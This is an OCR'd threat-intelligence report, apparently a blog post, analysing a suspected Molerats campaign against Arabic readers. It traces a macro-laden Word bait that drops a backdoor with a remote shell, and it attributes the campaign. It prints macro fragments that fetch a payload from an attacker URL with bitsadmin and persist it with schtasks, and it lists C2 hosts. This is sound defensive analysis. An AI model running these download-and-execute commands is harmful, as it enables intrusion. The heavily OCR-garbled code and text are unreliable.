2/15/2019

360 BUME AR 10

1i.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east-en

Suspected Molerats' New Attack in the Middle East

2019-02-14 By 360 EIRF L0\ | EHEER

Background

Recently, 360 Threat Intelligence Center captured a bait document designed specifically for
Arabic users. It is an Office Word document with malicious macros embedded to drop and
execute a backdoor packed by Enigma Virtual Box. The backdoor program has a built-in
keyword list containing names of people or opera movies to communicate with C2, distributes
control commands to further control the victim's computer device. After investigation, we
suspect this attack is carried out by Molerats.

After sharing the relevant information through social channels[1], we found that the C2
domain was resolved to a server no longer controlled by the attacker just within a few days to
avoid more attacks.

Activity Records of Molerats

The activity of Molerats (alias[2]: Gaza Hackers Team, Gaza cybergang, Operation Molerats,
Extreme Jackal, Moonlight) could be traced back to early 2012. In January 2012, attackers
who identified themselves as the "Gaza Hackers Team" struck the website of the Israel Fire
and Rescue services[3]. The same year in October, a suspicious file was found to have been
circulating on Israeli police department computers and hence decided to take all its
computers offline temporarily[4]. The follow up analysis report from Trend Micro[5] pointed
out that the malware being used in the attack was Xtreme RAT which could be used to steal
information and receive commands from a remote attacker. They also discovered that
Xtreme RAT variants had been used to target many other National government agencies[6],
such as those in the United States, United Kingdom, Turkey, New Zealand and etc.

FireEYE reviewed the attack on Israeli police department in a report[7] released in 2013,
associated this event to Gaza Hackers Team and named this group as Molerats. Besides
that, some other malware such as Poison lvy used by this attack group also got revealed. In
another report[8] released in 2014, FireEYE said "Molerats are not only aware of security
researchers’ efforts in trying to track them but are also attempting to avoid using any obvious,
repeating patterns that could be used to more easily track endpoints infected with their
malware”.

Molerats became particularly active in Q2 2015, Kaspersky collected lots of related loCs and
pointed out staffs in IT (Information Technology) and IR (Incident Response) departments
were their preferred targets[9].

ClearSky first discovered the group's activities on Operation DustSky in January 2016. The
target attack got suspended for more than half a month since the first report[10] got released.
After that, their malware were rewritten in C++ and targets also got switched from before in
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efforts to evade detection[11]. ClearSky also indicated that Molerats were not as cautious as
before, leaving more clues, which in turn has led to conclude with fairly certainly that Hamas

may have a hand behind this attack group.

In June 2017, 360 Threat Intelligence Center discovered new malware[12] used by Molerats.
The malicious payload, which got delivered through CVE-2017-0199 exploit, was completely
generated by using the popular standard attack framework Cobalt Strike. Kaspersky came up
with an update of Molerats in late October and mentioned a possible related Android mobile

malware in the report[13].

Sample Analysis

Dropper (Macros)

File Name 1.doc
MD5 063a50e5e4b4d17a23ac8c8b33501719

Author Motb3A

The captured bait document is an Office Word document written in Arabic with malicious VBA
macros embedded. If macro get enabled, the malicious code is automatically executed when

the victim opens the document.
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The contents after translation are as follows.
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L2 gl I et o i sl Balell D el e 2y e ) R Q X A delegation from the Egyptian General Intelligence Service is due
loladie peEs8 ) 875" S A e o SUARN ) M Qe y 1o arrive in the Gaza Strip on Thursday. The delegation arrives at
iyt A1 it B en 45 2 308 g 5 el ) adas Beit Hanoun (Erez) crossing for a number of hours.
Lt A s bl s ) o Al e s Aaliad) s adll Al The Egyptian delegation will meet with the leadership of Hamas
b sl gl B a1 DS Aok e -] and other factions to discuss the latest developments in the file
Ll ) el -2 of calm and reconciliation.
B e 2a el g€ ld s -3 1-0pen a lift in both directions 3 days a week.
e Sl AS 08 penll L AUl P Ualll S ALl 4 2. The opening of the Rafah commercial crossing.
oa Al eyl ) Jialllagy e g e mledl 5 3 - Provide a new power line for the Gaza Strip.
4 - Allow the residents of the sector to perform Umrah to Mecca.
Y5 Ol 25 suaali & i Aand 5- Allow the departure of factions delegations to external tours.

The new country grant is $ 25 million

Hamas sources confirmed that the movement is ready to return
g Rl e L to calm in January in return for the Qatari grant of 25 million
dollars on the fifth of each month, and the field leaders will
escalate and that this decision was sent to the Israeli side with
the Qatari ambassador.

min almgqr ‘an yasil wafd min almukhabarat aleamat almisriat alyawm alkhamis ‘iilaa
qitae ghaza . wayasilu alwafd ‘iilaa alqitae eabr maebar bayt hanun "ayrz' fi ziarat
tastamiru edt saeatin.

Since the macro is encrypted, we extract the relevant macro code as follows:

Dim urlfile As String

Dim fileddd As String

'MsgBox ("emd.exe /¢ reg add ""HKEY CURRENT USER\Softwars\Microsoft\Windows Script Host\Settings"" /t Reg_dwerd /v Enabled /f /d 17)

‘urlfile = "http://download.data-server.cloudns.club/wordindexer . exe"

& vbNewline & "" & _

" & vbNewline & "" & _
& vbNewLine & " & _

) .ExpandEnvironmentStrings ("%

1My " & vbNewline & "7 &

The macro code could drop out and execute the wmsetup.vbs script in the %userprofile%

directory.

oFile.WriteLine file

oFile.Close

Set f£so = Notning

Set oFile = Nothing

'Shell "emd.exe /c schtasks /r
/t Reg_aword /v Enabled /f /d

TEM /create /mo 1 /sc minuce /tn set /cr "ireg add \""HKEY CURRENT USER\Software\Microsoft\Windows Script Host\Sectings\""
vbHide

sne1l =d /£ /a 17, vbHide

sne1l o", vbHide

'Sne1l v

dsasdas”, vbHide

Shell "emd.exe /c ¥

", vbHide

wmsetup.vbs

The VBS script decodes the data through Base64, and then save the decoded data to
%templ/ihelp.exe.

base6d4Decoded = decodeBase6d (sapp)
writeBytes outFile, basceéd4Decoded
private function decodeBase64d (base64d)

dim DM, EL

Set DM = CreateCbhject ("Microsoft.XMLDCM™)
Set EL = DM.createElement ("tmp™)
EL.DacaType = "bin.basegd4™

EL.Text = basetd

decodeBasef4 = EL.NodeTypedValue

end function

private Sub writeBytes(file, bytes)

Dim binaryStream

Set binaryStream = Createlbject ("ADCDB.Stream")
binaryStream.Iype = TypeBinary
binaryStream.Cpen

Finally set the scheduled task to start ihelp.exe:
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Backdoor (lhelp.exe)

File Name ihelp.exe
MD5 46173adc26721fb54f6e1a1091a892d4

Packer Enigma Virtual Box

The backdoor is packed by Enigma Virtual Box:

File |ihe||:|.exel | Pu ﬁ
Entry Point : |0oosF14C =« EPSection: |[RgkSrda |
él File Offset : [00000D4C First Bytes : |F2.EB.01.08.F3 ﬁ Plug
@‘* Linker Info ; |14.00 SubSystem : |wWindows GUI PE ﬁ
File Size : 0025F800h < | M Overlay: MO 00000000 I,/—) QE
7 -—
Image is 32bit executable RES/OVL:21 /0% 2017 =
R A e - v6. 70 - 7.80 (2017.07.13) free - 2010-2017 - ww || gcan [t Rip

Lamer Info - Help Hint - Unpack info -
|Org.ExE stub has TLS & IAT changed , if files inside are not packed - tr| 9 & EF

The corresponding C2 is encrypted and stored in the configuration blob. When get executed,
the backdoor decrypts the blob to obtain the C2 address (smartweb9.com).

1T jeuGIBmartweb?
.com Rk? FRP?

61 53|qNxp. fdshgWjas
6D 4F| £ nFZERFX5GiCMO

Edit data beginning from address il

S5 [lenartuens . confuRi; /fuf RP Latxp . [ ds
WNICODE R o BB

The domain name has been resolved to IP address 198.54.117.244 which could be a
sinkhole, but the attacker's server (79.124.60.40) was still online. So we were able to directly
connect to the attacker’s server and perform follow up investigations. According to the
network traffic and related decompiled code, the backdoor uses the SFML library for network
communication (a library for game development: https://github.com/SFML).
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POST / HTTP/1.1
connection: close

content-

length: 64

360 BUME AR 10

content-type: application/x-www-form-urlencoded
from: user@sfml-dev.org
host: smartweb9.com

user-agent: libsfml-network/2.x

Cva5SNplRMKuxj IkS3CNPwhpkf0dJlels5C1iC/fmAAqbFAWveBGiH3IxTWEegCAwKs

i

h

.

I

13
=

L g

The backdoor constructs a formatted request through a built-in keyword table, with contents
related to some names or opera movies. This approach looks similar to the one mentioned

sub_1B3B915("

if ((vE 1= -1)

userfiistml-dev.org"

i

¥

LOBYTE(v32) =53

sub_1B3B9SE(’

"From™ ) ;

LOBYTE(v32) = B;
sub_1B3B9A7(&v31, &v38);
j_strlen_48429D 178(1, 8);
LOBYTE(v32) = 3;

j_strlen 484290 171(1, @);

.| sub 1B3BA82("User-Agent™);
| LOBYTE(v32) = 7;

= sub_1B3BACB(&v25, &v31);

| LOBYTE(v32) = 3;
| wB = -(v7 != 8);

i j_strlen 48429D 172(1, @);
oif ( va 1= -1 )

sub_1B3BBSD(

"libsfml-network/2.x"

LOBYTE(v32) = &8;

sub_1B3BBAG("

‘User-Agent”);

LOBYTE(v32) = 9;

sub 1B3BBEF(&v31, &v3o);
j_strlen 48429D 173(1, @);
LOBYTE(v32) = 3;

j_strlen_ 484290 174(1, @);

| sub 1B3BCCA("Host");
| LOBYTE(v32) = 1@;

= sub_1B3BD13(&v25, &v31);

LOBYTE(v32) = 3;
V18 = -(va 1= @);
Hod_

strlen_ 484290 175(1, @);

LI P

by Talos[14] previously.
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Jessie Lilliana  Jocelynn Londyn
Ari Paloma Carmen Cassandra
Zachariah Randy Charlee  Demi

Annika Brice Alyssa Erik

Ariel Juniper  Moises Jeremy
Hunter Jaydon Freya Regina
Janelle Lillian Aniyah Kenia
Estelle Mara Daisy Guadalupe
Demetrius

The request data fall into sub-blocks, and some of the data are encoded by Base64 before
appending to related keyword.

82 LG 44 65 T2 65 6D 79 A9 47 75 6l 64 61 &C TH | .. Jeremy.Guadalu
T0 65 A4 45 T2 69 6B Ad 41 30 I | pe.Erik ki==

The entire block is encrypted and Base64 encoded again when all sub-blocks are ready, and
finally sent to C2 via HTTP POST request.

mou edi,edi
ebp ASCIT "POST / HTTP/1.1\r\nconnection: close\]
nou ebpesp
sub esp,
esi ASCIT “POST / HTTP/1.1\r\nconnection: close\
edi ASCIT “0sA"
33FF xor edi,edi
813D 48702876 {cmp Lus?_32 76262629
short ws2_82.76266F94
cnp Ledi
short ws?_32.76266F94 ws2_32.send
FF35 4702876 S(FFFFFFFF}
FF15 8122676 |eal 8(FFFFFFFF)}
8945 F8 O(FFFFFFFF)
3867 c O(FFFFFFFF)
t ws2_32.76266F94
t

393D 78702876
74 73

v ss:[ebp-0x4],edi

pdi-000000FA
2alA

_+| BB22F380

JEM@F| ihelp.oon172F0 L 01880189
ASCIT “POST / HTTP/1.1\r\nconnectid

JEEF| 0022F3BC

The data returned by C2 will then be received and decrypted. The decrypted data contains
keyword Demi which is supposed to inform the client to upload the collected information.

A HMZZEBTE R
The sample collects information, such as the user name and computer name, and a string

similar to the UUID. Then encrypts and encodes the information in the same way and sends
it back to C2.
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SUD_IBLIBFAF[[LINT J&VLL, [1NT)}&VLIY);

vig = 1;

v2 = sub 1B1BF78(&v11);

sub 1B1BFCI(v2);

vi o= jm_1B1CEBA(&vIGE);

sub_1B1C@53(v3);

j_strlen_48429D0 59(1, @);

wls = 1;

sub_1B1COES(&v11);

vl7 = v1e;

LOBYTE(v18) = 2;

sub_1B1C12E(&v15);

LOBYTE(v1g) = 1;

j_strlen 484290 &8(1, @);

if { (char *)sub 1BI1C1C@(&vO) != &v11 )
sub 1B1C269(&v11, @, -1);

vl2 = 23

wid = j_getusername_ﬂ-ﬂE%E{dint}&'.-i-ﬁ};

LOBYTE(viE) = 3;

vS = sub 1B1C29B(v4);

sub_1B1C2E4(v5);

jm_1B1C32D(&v13);

strlen 1BIC376(1, @);

vid = 1;

LOBYTE(v1a) = 4;

sub 1B1C3BF(&v12);

LOBYTE(v1E) = 1;

j_strlen_484290 61(&v13, 1, 8);

2 =33

G = j_-EEt£omputerNamE1-J_4-629?At{int}&'.i-ﬁ};

LOBYTE(v12) = 5;

v7 = sub 1B1C49A(vE);

sub 1BIC4E3(v7);

j_jm_4eocco 2();

j_strlen 484290 62(1, @);

vid = 1;

LOBYTE(v13) = 63

sub_1B1CSBE(&v12);

j_strlen_48429D0 63(1, @);

T

I0004ECE zetinfo 40ASFC: 48 (40AECE)

The data returned from C2 may contain some configuration information. After processing the
received data, the backdoor starts to acquire the attacker's instructions periodically in order

to perform functions such as remote shell and file operations.

Remote Shell

£ ( IS (2 o=, &37, &/33) ) // CreatePipe

Cif (e c:, 1, ©) )
{

v28 = 63

goto LABEL 3;

// GetStdHandle
1

V25 |= Bx1@8u;
vl7 = &aB;

v1g, vi7, @, @, 1, exseeeses, @, 0, &/24, &31) )// CreateProcessk

1
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File Operation

e

call

nop
mawv
cmp
jnz
maowv
push
push
push
push
call
add

mon

cmp
jz

push
call

Sinkhole

Since 360 Threat Intelligence Center shared related information on the social media
immediately after discovering the sample[1], the C2 has been taken over by security

360 FUHMEAR 0

near ptr _ ; kernel32.FindFirstFileExW

short loc_431C29
eax, [ebp-258h]
eax

edi

edi

ebx

sub_1B878AA

esp, 1@h

; CODE XREF: sub_l1B8774F-1755AD217
edi, eax

; CODE XREF: sub_1B8774F:loc_1B8793C94j
5 sub_1B8774F:loc_1BB87A5B4]

short loc_431C16

esi

near ptr _ ; kernel32.FindClose

company or related agency before February 10.

By querying VirusTotal, we find that the IP address (198.54.117.244) being used to take over
the C2 domain is associated with a large number of malicious domains.
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198.54.117.244 |P address information

Country us

Autonomous system

30186 (Togen LLC)

Passive DNS Replication ©

Date resolved

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

2019-02-12

Domain

zororg

1sexe.cam

frivols.stream
ablumenal.review
agnatemineralogy.bid
oeilladelzburnine.bid
fumagehamadryad.bid
malacoplakia.stream
essaycourtehouse.bid
filtermanner.bid
asynclitic.stream
maonstrousnessjunket.bid
shmoobaggy.stream
pauperizationcanker.bid
tjhellmann.com
dukenorermine.bid
impunctualityblasphemy.bid

cubbiesed.stream

Through 360 threat analysis platform, it can be seen that both belong to a same domain

name service provider.

€ - C @ https://ti.360.net/search?type=ip&value=198.54.117.244

= RMEAFISIR 19854.117.244

198.54.117.244 B

(WANNAMINE)

=g ZE TR ZBPA RRLS

I ASN AS22612 Namecheap, Inc. |
IDCESE =
s £
iila=sic] fEAhIC
BHETEAR A 20
EXRERE:

https://www.anquanke.com/pos
1/id/149388

RHEE @

rER=E@D E20 =0

€ > C' |G httpsy//ti.360.net/search?type=domain&value=smartweb9.com

[SUUIGEPR I smartwebs.com

smartweb9.com [N
R

ARl Ed
Bsfhizir 2
=54 Ed
BIEAIE 2018/01/21
SEFE 2018/01/21
AR 2020/01/21
HirEE false

EEE@ =HEEr@ HMERO s s
E o ==
I 2019-01-21 07:49:33
TR 2020-01-21 07:49:33
SHHIE 2019-01-21 07:49:33
A WhoisGuard Protected
SHRAFTEER Whoistuard, Tre. ( iBFAHE0D )
BRGNS 28 TET Ld5824dd0. con ¢ HAEIET )
EEREE +507. 8365503
EEREE 451 17057182
E PANAA
SRS HAWECHESP T
SRS fai led-whois—ver ification nanecheap. con , verify-comtact-details. nanecheap. con
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Therefore, we have reason to believe that after the 360 Threat Intelligence Center shared the
information, the domain name service provider got notified by some relevant organizations to

take over the C2 to avoid more attacks.

Attribution

After analyzing those samples, the attack was suspected to be carried out by Molerats APT

with part of the associations as follows.

Similarity in the bait document

Highly similar to some of the bait documents used by Kaza Cybergang (Molerats), which
were disclosed by Kaspersky in 2017. Both are related to the Gaza region and Hamas.

= Google %
X TF B

sl abivii=ie= =E o &8 v &

P S TS T R UUT- TQENI O Il
@i gial AT Sl Flall Sy e 3 sl s padd
« i A8 59 801 5 o) o il 0y, Aalonal) g dsagel) L

Lo il 1 3 a1 58 2y ez o

el 2

n

g
3% glall s ol oS bd anki

3
e Sl A )8 el Ll s edslen 4
5

s Jal ey gl N Gt 25ty s pas mle)

Y 0 3tle 25 dapand Ay il A

5 e gagllsn gall sdeiica 48 jalh ) e dS a8 pilaal) sy Ul )

IS e el A 50 0ple 254 ) Rl 5o ) ke i pet

el Al a5 1 18 g s 2 g e Aol oL Y
Ll el ae Ll )
min almgr ‘an yasil wafd min almukhabarat aleamat almisriat alyawm alkhamis ‘iilaa

gitae ghaza . wayasilu alwafd iilaa alqitae eabr maebar bayt hanun "ayrz" fi ziarat
tastamiru edt saeatin.

Similarity in the payload

g

v

B

FRIZ(EE) S

A delegation from the Egyptian General Intelligence Service is due
1o arrive in the Gaza Strip on Thursday. The delegation arrives at
Beit Hanoun (Erez) crossing for a number of hours.

The Egyptian delegation will meet with the leadership of Hamas
and other factions to discuss the latest developments in the file
of calm and reconciliation.

1- Open a lift in both directions 3 days a week.

2. The opening of the Rafah commercial crossing.

3 - Provide a new power line for the Gaza Strip.

4- Allow the residents of the sector to perform Umrah to Mecca.
5- Allow the departure of factions delegations to external tours.

The new country grant is $ 25 million

Hamas sources confirmed that the movement is ready to return
to calm in January in return for the Qatari grant of 25 million
dollars on the fifth of each month, and the field leaders will
escalate and that this decision was sent 1o the Israeli side with
the Qatari ambassador.

Similar to those discovered by Kaspersky, the payloads are packed by Enigma Virtual Box

and pretend to come from Microsoft.

Detect It Easy 201 .

C:/Users/mm Desktop/ielp.exe

Entropy  FLC

Import
0005f14c 00400000
Nurr St -] > i 00223000

protector t
linker Microsoft Linker(14.0)[EXE32]

HOERRAY T Sdthdik

General | Compatibilty | Security | Detals | Previous Versions |

Property Value
Description

Type Application

Fleverson  10.0.17134.137

Product name.  MicrosoftA® WindowsA® Operating Sys
Product version  10.0.17134.137
Copyright A® Microsoft Corporation. Al nghts reser.

Size 237MB
Date modified ~ 2/1/2019 10:57 AM
Language Language Neutral

Original flename  HelpPane.exe

Options

The URL got commented out in the macro is the same as the one mentioned in Kaspersky’s

report[13].

Option Compare Database
Private Sub Form Load()

Dim urlfile As String

urlfile =|"hrep://download.data-server.cloudns.club/wordindexer . exs®

Shell “cmd.exe /c bitsadmin /create /download nn ", vbHide

Snell "cmd.exe /c bitsadmin /transfer nn " & urlfile & " fuserprofilet\sppdacal\wordindexer.exe", vbHide
Shell "cmd.exe /c schtasks /create /sc minute /tn runcclener /tr Suserprofilet\appdata\wordindexer.exe®”, vbHide

bHide

Shell "cmd.exe /c schtasks /run /tn runcclener”,

'MsgBox ("cmd.exe /c reg add ""HEEY CURRENT USER\Software\Microsofr\Windows Script Host\Sertings"" /t

|' urlfile = "http://download.data-server.cloudns.club,

wordind T.Exe'l
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Macro code from samples provided in Kaspersky’s report.

=] email = B %

2017 ~4sl gy de ghaiall cpilh gal) clily 3ol [bll vose) Sgimall (Sas bsol

EECTINTR Peo] Sl a5l Syl Ko 2 il

Hilgallos) v Syenll - FrEeRepCNT]
lications - 6d6f34f7 cfch64244d67638a2133d619-unprotected [iRit] - [Form_Z:6F252510522016 (1£5)] -
BAD #AROD E6R IRD MEEFA S0W =EH) gAEETEAHE
pou oo WEE @ F1.81 =
X| [ Ta@m ~| [

-] Option Compare Datsbase

b64244 36763802 £334619-unprote. .. ) Private Sub Form Load()

kS
EiiG Dim wilfile As String
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Based on the above information and some other internal related data, 360 Threat Intelligence
Center suspects Molerats APT group is the one that launched this attack.

Conclusion

The Molerats APT group has been in existence for a few years, and has carried out a large
number of attacks by using a variety of public and privately owned malware. Attackers are
actively improving their toolkit in an effort to minimize their exposure to security products and
services.

This group is good at social engineering by sending various types of decoy documents to the
target in the attack. The decoy documents usually execute subsequent code through
malicious macro. Comparing with Office 0day, using macro needs more user interactions and
could reduce the success rate, but this approach is still used by lots of attack groups
considering the cost is much lower. It is recommended that users avoid to open documents
from untrusted sources, and Office macro should be disabled by default.
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Products of 360 ESG can protect users from this new malware, including 360 Threat
Intelligence Platform, SkyEye APT Detection and 360 NGSOC.
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MD5
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